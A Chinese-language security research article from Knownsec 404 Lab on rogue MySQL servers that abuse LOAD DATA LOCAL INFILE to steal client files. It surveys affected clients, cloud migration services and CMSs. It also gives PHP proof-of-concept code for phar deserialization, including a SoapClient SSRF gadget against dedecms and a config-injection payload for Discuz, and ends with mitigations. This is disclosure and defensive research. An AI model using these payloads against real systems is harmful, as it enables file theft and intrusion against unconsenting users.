CSS-T | Mysql Client 任意文件讀取攻擊鏈拓展

  • 2020 年 2 月 13 日
  • 筆記

作者:LoRexxar@知道創宇404實驗室 & Dawu@知道創宇404實驗室

時間:2020年1月14日

這應該是一個很早以前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預期h4x0r's club這題的一個技巧。

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

在後來的研究中,和@Dawu的討論中頓時覺得這應該是一個很有趣的trick,在逐漸追溯這個漏洞的過去的過程中,我漸漸發現這個問題作為mysql的一份feature存在了很多年,從13年就有人分享這個問題。

  • Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)
  • Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)
  • Abusing MySQL LOCAL INFILE to read client files (2018年4月23日) 在圍繞這個漏洞的挖掘過程中,我們不斷地發現新的利用方式,所以將其中大部分的發現都總結並準備了議題在CSS上分享,下面讓我們來一步步分析。

Load data infile

load data infile是一個很特別的語法,熟悉注入或者經常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,我們經常能遇到沒辦法load_file讀取文件的情況,這時候唯一有可能讀到文件的就是load data infile,一般我們常用的語句是這樣的:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY 'n';

mysql server會讀取服務端的/etc/passwd然後將數據按照'n'分割插入表中,但現在這個語句同樣要求你有FILE權限,以及非local加載的語句也受到secure_file_priv的限制

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY 'n';    ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我們修改一下語句,加入一個關鍵字local。

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY 'n';  Query OK, 11 rows affected, 11 warnings (0.01 sec)  Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

加了local之後,這個語句就成了,讀取客戶端的文件發送到服務端,上面那個語句執行結果如下

很顯然,這個語句是不安全的,在mysql的文檔里也充分說明了這一點

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文檔中的說到,服務端可以要求客戶端讀取有可讀權限的任何文件。

mysql認為客戶端不應該連接到不可信的服務端。

我們今天的這個問題,就是圍繞這個基礎展開的。

構造惡意服務端

在思考明白了前面的問題之後,核心問題就成了,我們怎麼構造一個惡意的mysql服務端。

在搞清楚這個問題之前,我們需要研究一下mysql正常執行鏈接和查詢的數據包結構。

1、greeting包,服務端返回了banner,其中包含mysql的版本

2、客戶端登錄請求

3、然後是初始化查詢,這裡因為是phpmyadmin所以初始化查詢比較多

4、load file local

由於我的環境在windows下,所以這裡讀取為C:/Windows/win.ini,語句如下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY 'n';

首先是客戶端發送查詢

然後服務端返回了需要的路徑

然後客戶端直接把內容發送到了服務端

看起來流程非常清楚,而且客戶端讀取文件的路徑並不是從客戶端指定的,而是發送到服務端,服務端制定的。

原本的查詢流程為

客戶端:我要把win.ini插入test表中  服務端:我要你的win.ini內容  客戶端:win.ini的內容如下....

假設服務端由我們控制,把一個正常的流程篡改成如下

客戶端:我要test表中的數據  服務端:我要你的win.ini內容  客戶端:win.ini的內容如下???

上面的第三句究竟會不會執行呢?

讓我們回到mysql的文檔中,文檔中有這麼一句話:

服務端可以在任何查詢語句後回復文件傳輸請求,也就是說我們的想法是成立的

在深入研究漏洞的過程中,不難發現這個漏洞是否成立在於Mysql client端的配置問題,而經過一番研究,我發現在mysql登錄驗證的過程中,會發送客戶端的配置。

在greeting包之後,客戶端就會鏈接並試圖登錄,同時數據包中就有關於是否允許使用load data local的配置,可以從這裡直白的看出來客戶端是否存在這個問題(這裡返回的客戶端配置不一定是準確的,後面會提到這個問題)。

poc

在想明白原理之後,構建惡意服務端就變得不那麼難了,流程很簡單

1.回復mysql client一個greeting包

2.等待client端發送一個查詢包

3.回復一個file transfer包

這裡主要是構造包格式的問題,可以跟着原文以及各種文檔完成上述的幾次查詢.

值得注意的是,原作者給出的poc並沒有適配所有的情況,部分mysql客戶端會在登陸成功之後發送ping包,如果沒有回復就會斷開連接。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內容來構造。

•https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake

•https://dev.mysql.com/doc/internals/en/com-query-response.html

原作者給出的poc

https://github.com/Gifts/Rogue-MySql-Server

演示

這裡用了一台騰訊雲做服務端,客戶端使用phpmyadmin連接

我們成功讀取了文件。

影響範圍

1.底層應用

在這個漏洞到底有什麼影響的時候,我們首先必須知道到底有什麼樣的客戶端受到這個漏洞的威脅。

•mysql client (pwned)

•php mysqli (pwned,fixed by 7.3.4)

•php pdo (默認禁用)

•python MySQLdb (pwned)

•python mysqlclient (pwned)

•java JDBC Driver (pwned,部分條件下默認禁用)

•navicat (pwned)

2.探針

在深入挖掘這個漏洞的過程中,第一時間想到的利用方式就是mysql探針,但可惜的是,在測試了市面上的大部分探針後發現大部分的探針連接之後只接受了greeting包就斷開連接了,沒有任何查詢,盡職盡責。

•雅黑PHP探針 失敗

•iprober2 探針 失敗

•PHP探針 for LNMP一鍵安裝包 失敗

•UPUPW PHP 探針 失敗

•…

3.雲服務商 雲數據庫 數據遷移服務

國內

•騰訊雲 DTS 失敗,禁用Load data local

•阿里雲 RDS 數據遷移失敗,禁用Load data local

•華為雲 RDS DRS服務 成功

•京東雲 RDS不支持遠程遷移功能,分佈式關係數據庫未開放

•UCloud RDS不支持遠程遷移功能,分佈式關係數據庫不能對外數據同

•QiNiu雲 RDS不支持遠程遷移功能

•新睿雲 RDS不支持遠程遷移功能

•網易雲 RDS 外部實例遷移 成功

•金山雲 RDS DTS數據遷移 成功

•青雲Cloud RDS 數據導入 失敗,禁用load data local

•百度Cloud RDS DTS 成功

國際雲服務商

•Google could SQL數據庫遷移失敗,禁用Load data infile

•AWS RDS DMS服務 成功

4.Excel online sql查詢

之前的一篇文章中提到過,在Excel中一般有這樣一個功能,從數據庫中同步數據到表格內,這樣一來就可以通過上述方式讀取文件。

受到這個思路的啟發,我們想到可以找online的excel的這個功能,這樣就可以實現任意文件讀取了。

•WPS failed(沒找到這個功能)

•Microsoft excel failed(禁用了infile語句)

•Google 表格 (原生沒有這個功能,但卻支持插件,下面主要說插件)

•Supermetrics pwned

- Advanced CFO Solutions MySQL Query failed  - SeekWell failed  - Skyvia Query Gallery failed  - database Borwser failed  - Kloudio pwned

拓展?2RCE!

拋開我們前面提的一些很特殊的場景下,我們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。

既然是圍繞任意文件讀取來討論,那麼最能直接想到的一定是有關配置文件的泄露所導致的漏洞了。

1.任意文件讀 with 配置文件泄露

在Discuz x3.4的配置中存在這樣兩個文件

config/config_ucenter.php  config/config_global.php

在dz的後台,有一個ucenter的設置功能,這個功能中提供了ucenter的數據庫服務器配置功能,通過配置數據庫鏈接惡意服務器,可以實現任意文件讀取獲取配置信息。

配置ucenter的訪問地址。

原地址:http://localhost:8086/upload/uc_server  修改為:http://localhost:8086/upload/uc_server');phpinfo();//

當我們獲得了authkey之後,我們可以通過admin的uid以及鹽來計算admin的cookie。然後用admin的cookie以及UC_KEY來訪問即可生效

2.任意文件讀 to 反序列化

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the 「phar://」 Stream Wrapper議題,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。

在該議題中提到,在PHP中存在一個叫做Stream API,通過註冊拓展可以註冊相應的偽協議,而phar這個拓展就註冊了phar://這個stream wrapper。

在我們知道創宇404實驗室安全研究員seaii曾經的研究(https://paper.seebug.org/680/)中表示,所有的文件函數都支持stream wrapper。

深入到函數中,我們可以發現,可以支持steam wrapper的原因是調用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

從這裡,我們再回到mysql的load file local語句中,在mysqli中,mysql的讀文件是通過php的函數實現的

https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd_loaddata.c#L43-L52    if (PG(open_basedir)) {          if (php_check_open_basedir_ex(filename, 0) == -1) {              strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");              info->error_no = CR_UNKNOWN_ERROR;              DBG_RETURN(1);          }      }        info->filename = filename;      info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同樣調用了php_stream_open_wrapper_ex函數,也就是說,我們同樣可以通過讀取phar文件來觸發反序列化。

3.復現

首先需要一個生成一個phar

pphar.php    <?php  class A {      public $s = '';      public function __wakeup () {          echo "pwned!!";      }  }      @unlink("phar.phar");  $phar = new Phar("phar.phar"); //後綴名必須為phar  $phar->startBuffering();  $phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設置stub  $o = new A();  $phar->setMetadata($o); //將自定義的meta-data存入manifest  $phar->addFromString("test.txt", "test"); //添加要壓縮的文件  //簽名自動計算  $phar->stopBuffering();  ?>

使用該文件生成一個phar.phar

然後我們模擬一次查詢

test.php    <?php  class A {      public $s = '';      public function __wakeup () {          echo "pwned!!";      }  }      $m = mysqli_init();  mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);  $s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);  $p = mysqli_query($m, 'select 1;');    // file_get_contents('phar://./phar.phar');

圖中我們只做了select 1查詢,但我們偽造的evil mysql server中驅使mysql client去做load file local查詢,讀取了本地的

phar://./phar.phar

成功觸發反序列化

4反序列化 to RCE

當一個反序列化漏洞出現的時候,我們就需要從源代碼中去尋找合適的pop鏈,建立在pop鏈的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。

php序列化中常見的魔術方法有以下

•當對象被創建的時候調用:__construct

•當對象被銷毀的時候調用:__destruct

•當對象被當作一個字符串使用時候調用:__toString

•序列化對象之前就調用此方法(其返回需要是一個數組):__sleep

•反序列化恢復對象之前就調用此方法:__wakeup

•當調用對象中不存在的方法會自動調用此方法:__call

配合與之相應的pop鏈,我們就可以把反序列化轉化為RCE。

4.1 dedecms 後台反序列化漏洞 to SSRF

dedecms 後台,模塊管理,安裝UCenter模塊。開始配置

首先需要找一個確定的UCenter服務端,可以通過找一個dz的站來做服務端。

然後就會觸發任意文件讀取,當然,如果讀取文件為phar,則會觸發反序列化。

我們需要先生成相應的phar

<?php    class Control  {      var $tpl;      // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));      public $dsql;        function __construct(){          $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));      }        function __destruct() {          unset($this->tpl);          $this->dsql->Close(TRUE);      }  }    @unlink("dedecms.phar");  $phar = new Phar("dedecms.phar");  $phar->startBuffering();  $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭  $o = new Control();  $phar->setMetadata($o); //將自定義meta-data存入manifest  $phar->addFromString("test.txt", "test"); //添加要壓縮的文件  //簽名自動計算  $phar->stopBuffering();    ?>

然後我們可以直接通過前台上傳頭像來傳文件,或者直接後台也有文件上傳接口,然後將rogue mysql server來讀取這個文件

phar://./dedecms.phar/test.txt

監聽5555可以收到

ssrf進一步可以攻擊redis等拓展攻擊面,就不多說了。

4.2部分CMS測試結果

CMS名

影響版本

是否存在mysql任意文件讀取

是否有可控的MySQL服務器設置

是否有可控的反序列化

是否可上傳phar

補丁

phpmyadmin

< 4.8.5

補丁[7]

Dz

未修復

None

None

drupal

None

否(使用PDO)

否(安裝)

None

dedecms

None

是(ucenter)

是(ssrf)

None

ecshop

None

None

禪道

None

否(PDO)

None

None

None

phpcms

None

是(ssrf)

None

帝國cms

None

None

None

phpwind

None

否(PDO)

None

None

None

mediawiki

None

否(後台沒有修改mysql配置的方法)

None

Z-Blog

None

否(後台沒有修改mysql配置的方法)

None

修復方式

對於大多數mysql的客戶端來說,load file local是一個無用的語句,他的使用場景大多是用於傳輸數據或者上傳數據等。對於客戶端來說,可以直接關閉這個功能,並不會影響到正常的使用。

具體的關閉方式見文檔

•https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

對於不同服務端來說,這個配置都有不同的關法,對於JDBC來說,這個配置叫做allowLoadLocalInfile

•https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-reference-configuration-properties.html

在php的mysqli和mysql兩種鏈接方式中,底層代碼直接決定了這個配置。

這個配置是PHP_INI_SYSTEM,在php的文檔中,這個配置意味着Entry can be set in php.ini or httpd.conf

所以只有在php.ini中修改mysqli.allow_local_infile = Off就可以修復了。

在php7.3.4的更新中,mysqli中這個配置也被默認修改為關閉

https://github.com/php/phpsrc/commit/2eaabf06fc5a62104ecb597830b2852d71b0a111#diff-904fc143c31bb7dba64d1f37ce14a0f5

可惜在不再更新的舊版本mysql5.6中,無論是mysql還是mysqli默認都為開啟狀態。

現在的代碼中也可以通過mysqli_option,在鏈接前配置這個選項。

http://php.net/manual/zh/mysqli.options.php

比較有趣的是,通過這種方式修復,雖然禁用了allow_local_infile,但是如果使用wireshark抓包卻發現allow_local_infile仍是啟動的(但是無效)。

在舊版本的phpmyadmin中,先執行了mysqli_real_connect,然後設置mysql_option,這樣一來allow_local_infile實際上被禁用了,但是在發起鏈接請求時中allow_local_infile還沒有被禁用。

實際上是因為mysqli_real_connect在執行的時候,會初始化allow_local_infile。在php代碼底層mysqli_real_connect實際是執行了mysqli_common_connect。而在mysqli_common_connect的代碼中,設置了一次allow_local_infile

https://github.com/php/phpsrc/blob/ca8e2abb8e21b65a762815504d1fb3f20b7b45bc/ext/mysqli/mysqli_nonapi.c#L251

如果在mysqli_real_connect之前設置mysql_option,其allow_local_infile的配置會被覆蓋重寫,其修改就會無效。

phpmyadmin在1月22日也正是通過交換兩個函數的相對位置來修復了該漏洞。https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

說在最後

這是一個針對mysql feature的攻擊模式,思路非常有趣,就目前而言在mysql層面沒法修復,只有在客戶端關閉了這個配置才能避免印象。雖然作為攻擊面並不是很廣泛,但可能針對一些特殊場景的時候,可以特別有效的將一個正常的功能轉化為任意文件讀取,在拓展攻擊面上非常的有效。

詳細的攻擊場景這裡就不做假設了,危害還是比較大的。

References

  • http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
  • https://lightless.me/archives/read-mysql-client-file.html
  • https://dev.mysql.com/doc/refman/8.0/en/load-data.html
  • https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927
  • https://github.com/Gifts/Rogue-MySql-Server
  • https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html
  • https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
  • https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
  • https://secure.php.net/manual/zh/internals2.ze1.streams.php
  • https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2